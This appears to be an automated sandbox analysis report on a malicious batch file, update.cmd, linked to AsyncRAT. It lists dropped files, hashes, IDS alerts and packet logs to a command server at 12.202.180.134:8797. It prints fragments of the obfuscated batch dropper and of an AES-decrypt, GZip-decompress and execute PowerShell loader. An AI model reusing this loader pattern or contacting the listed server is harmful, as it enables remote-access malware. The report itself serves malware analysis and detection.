Preview:	p...... ..........{.E...(....................................................... ........M.........(...........i...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".b.3.6.8.5.3.8.5.a.4.7.f.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	5829
Entropy (8bit):	4.901113710259376
Encrypted:	false
SSDEEP:	96:ZCJ2Woe5H2k6Lm5emmXIGLgyg12jDs+un/iQLEYFjDaeWJ6KGcmXlQ9smpFRLcUn:Uxoe5HVsm5emdQgkjDt4iWN3yBGHVQ9v
MD5:	7827E04B3ECD71FB3BD7BEEE4CA52CE8
SHA1:	22813AF893013D1CCCACC305523301BB90FF88D9
SHA-256:	5D66D4CA13B4AF3B23357EB9BC21694E7EED4485EA8D2B8C653BEF3A8E5D0601
SHA-512:	D5F6604E49B7B31C2D1DA5E59B676C0E0F37710F4867F232DF0AA9A1EE170B399472CA1DF0BD21DF702A1B5005921D35A8E6858432B00619E65D0648C74C096B
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ced35djj.vkw.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qmvedqd2.oy5.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (1906), with CRLF line terminators
Category:	dropped
Size (bytes):	1908
Entropy (8bit):	5.607411131372353
Encrypted:	false
SSDEEP:	48:IJRm8RUYRxSKBwqjBWtzDpOXkHrkykYRbhB326SYAmcdDB4IOLx1CH2c:QBN7PBljBWtVjt6YAmyB41LxAWc
MD5:	E731A310C05734D2095D143EFA7D021B
SHA1:	B8A8A71B88CBB8081377B6F23DE9AF96A0BA7536
SHA-256:	09A649DF344676DEDDC34CCC6893D19295D8CD3425E439F7029D0FF90DADCC40
SHA-512:	D39C2B6DA2CD07216FE173F24736AE1476FF248F184694C689B9EB1395E52A2AA0F76DC7429386D9B9A7D38F803EDB9D5DBA54C259A2ABB08E25772468E025C0
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDecodeAndExecute, Description: Yara detected Powershell decode and execute, Source: \Device\ConDrv, Author: Joe Security
Preview:	function decrypt_function($param_var){.$aes_var=[System.Security.Cryptography.Aes]::Create();.$aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC;.$aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;.$aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cEoPe6dpwVu7fDERkKynhFR/1EqmZQt/n7wIxJrBC2M=');.$aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UDOjbmgbocvvVyzcITNo4Q==');.$decryptor_var=$aes_var.CreateDecryptor();.$return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length);.$decryptor_var.Dispose();.$aes_var.Dispose();.$return_var;}function decompress_function($param_var){.$OQQuw=New-Object System.IO.MemoryStream(,$param_var);.$eDfzX=New-Object System.IO.MemoryStream;.$Pftxr=New-Object System.IO.Compression.GZipStream($OQQuw, [IO.Compression.CompressionMode]::Decompress);.$Pftxr.CopyTo($eDfzX);.$Pftxr.Dispose();.$OQQuw.Dispose();.$eDfzX.Dispose();.$eDfzX.ToArray();}function execute_function($param_va

Static File Info

General

File type:	ASCII text, with very long lines (58328), with CRLF line terminators
Entropy (8bit):	6.085058530839088
TrID:
File name:	update.cmd
File size:	93'717 bytes
MD5:	981e0374ab07b58ea53823122fe91be7
SHA1:	a162c8fac692cf34db330384f577f017fa003751
SHA256:	56b65c0c1e134f20968c3027a527f27722c11de4512460eabf0002e95e593e0d
SHA512:	edb3d2b49fd93462e12f6b67a9c476fdc4c085e684f127b110802d15545f2d62531239992fc21c07e2716a287da17b1efeaa150deb902c17bf59461be52a1043
SSDEEP:	1536:W0Lad++Lr2vjYZRs6LTKZLZLNcUYv20oARdg59+AMlreZ3lVcJLhRMDTaPi2+YpA:VWsaLmZCtC9+plrS1VwLrME+Y6
TLSH:	7B93026B6C8526940BF361B9824EB624338DDFF71300C8DFAEF81DC7142D287E5AA495
File Content Preview:	cmd /c "set __=^&rem"..set "nHln=Lo"..set "IFqy=nvo"..set "vbTe=lect"..set "fbBG=byp"..set "jeZJ=prof"..set "TpFiMTesqevMcjoaqhyx=echo function decryp"..set "uGCNNguyQmHlVgYXbdBO=t_function($param_va"..set "AYhrGhbWNApcFCpmNSvF=r){.$aes_var=[System"..set

File Icon


Icon Hash:	9686878b929a9886

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/23/24-21:05:50.814832	TCP	2035595	ET TROJAN Generic AsyncRAT Style SSL Cert	8797	49704	12.202.180.134	192.168.2.5
05/23/24-21:05:50.814832	TCP	2030673	ET TROJAN Observed Malicious SSL Cert (AsyncRAT Server)	8797	49704	12.202.180.134	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 23, 2024 21:05:50.162138939 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:05:50.184063911 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:05:50.184169054 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:05:50.188075066 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:05:50.236193895 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:05:50.814831972 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:05:50.825613976 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:05:50.825726986 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:05:50.948021889 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:05:50.975037098 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:05:50.980040073 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:05:51.150778055 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:05:51.205858946 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:05:52.372056961 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:05:52.377137899 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:05:52.377330065 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:05:52.382221937 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:05:58.333344936 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:05:58.378004074 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:05:58.471745968 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:05:58.518584967 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:03.109100103 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:03.187928915 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:03.188007116 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:03.194715023 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:03.424881935 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:03.471647024 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:03.558947086 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:03.567713022 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:03.572674990 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:03.572741985 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:03.577572107 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:13.831619978 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:13.836631060 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:13.836772919 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:13.841645956 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:14.333707094 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:14.378174067 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:14.459513903 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:14.503067970 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:14.537812948 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:14.543272972 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:14.543348074 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:14.548880100 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:24.566426992 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:24.571417093 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:24.571535110 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:24.576621056 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:24.871368885 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:24.925079107 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:25.001996040 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:25.004262924 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:25.011291027 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:25.011363029 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:25.019156933 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:28.306268930 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:28.346992970 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:28.436065912 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:28.487584114 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:35.307003975 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:35.312225103 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:35.312338114 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:35.317332983 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:35.624838114 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:35.675256968 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:35.771889925 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:35.773466110 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:35.778737068 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:35.778805017 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:35.784794092 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:46.035407066 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:46.040714025 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:46.040867090 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:46.046042919 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:46.339507103 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:46.394117117 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:46.468159914 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:46.471925974 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:46.478744030 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:46.478811979 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:46.484025002 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:56.769844055 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:56.775024891 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:56.775155067 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:56.780477047 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:56.955250978 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:57.003767967 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:57.093683004 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:57.095498085 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:57.100537062 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:57.100604057 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:57.105467081 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:58.321413994 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:58.363127947 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:06:58.460093975 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:06:58.503642082 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:07.504550934 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:07.509828091 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:07.509953976 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:07.515763044 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:07.821618080 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:07.863121986 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:07.948951960 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:08.003722906 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:08.808657885 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:08.859294891 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:08.859352112 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:08.864255905 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:18.238729000 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:18.245465040 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:18.245594978 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:18.251065969 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:18.548137903 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:18.597668886 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:18.687956095 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:18.689903021 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:18.694832087 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:18.694891930 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:18.699784040 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:28.320648909 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:28.363373995 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:28.469119072 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:28.519681931 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:28.973182917 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:28.983908892 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:28.984019041 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:28.993498087 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:29.315494061 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:29.363372087 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:29.408493042 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:29.411147118 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:29.460827112 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:29.460947037 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:29.466192007 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:39.707870960 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:39.714492083 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:39.717212915 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:39.722709894 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:40.039446115 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:40.082304955 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:40.139599085 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:40.141736984 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:40.146784067 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:40.146861076 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:40.152322054 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:50.442082882 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:50.515372038 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:50.515450954 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:50.520804882 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:50.775880098 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:50.816864014 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:50.911930084 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:50.913506031 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:50.918385029 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:50.918437004 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:50.923432112 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:58.330490112 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:58.379288912 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:07:58.468220949 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:07:58.519938946 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:01.176837921 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:01.181716919 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:01.181771040 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:01.187560081 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:01.507725000 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:01.551243067 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:01.615329027 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:01.647217035 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:01.652240038 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:01.652297974 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:01.657417059 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:11.911264896 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:11.953891993 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:11.954015970 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:11.961695910 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:12.307254076 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:12.348211050 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:12.384076118 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:12.385735035 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:12.395807028 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:12.395906925 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:12.400770903 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:22.645627975 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:22.650554895 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:22.650696993 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:22.656025887 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:22.950184107 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:23.004544020 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:23.081671000 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:23.083659887 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:23.092196941 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:23.092292070 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:23.097562075 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:28.318453074 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:28.364006996 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:28.456664085 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:28.504646063 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:33.379988909 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:33.384993076 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:33.385068893 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:33.397475004 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:33.685666084 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:33.739109039 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:33.842812061 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:33.844903946 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:33.849922895 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:33.849992990 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:33.854968071 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:44.114679098 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:44.122679949 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:44.122800112 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:44.127700090 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:44.425754070 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:44.473529100 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:44.557193041 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:44.559195995 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:44.564039946 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:44.564089060 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:44.568986893 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:54.849507093 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:54.857626915 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:54.857722044 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:54.868100882 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:55.175646067 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:55.223618984 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:55.304702044 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:55.306739092 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:55.314076900 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:55.314182043 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:55.321805000 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:58.306919098 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:58.348715067 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:08:58.439574003 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:08:58.489526987 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:05.583617926 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:05.605881929 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:05.606005907 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:05.623158932 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:05.907701969 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:05.958146095 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:06.020539045 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:06.022578001 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:06.075402975 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:06.075556993 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:06.080462933 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:16.317987919 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:16.322963953 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:16.323030949 CEST	49704	8797	192.168.2.5	12.202.180.134
May 23, 2024 21:09:16.328013897 CEST	8797	49704	12.202.180.134	192.168.2.5
May 23, 2024 21:09:16.675332069 CEST	8797	49704	12.202.180.134	192.168.2.5
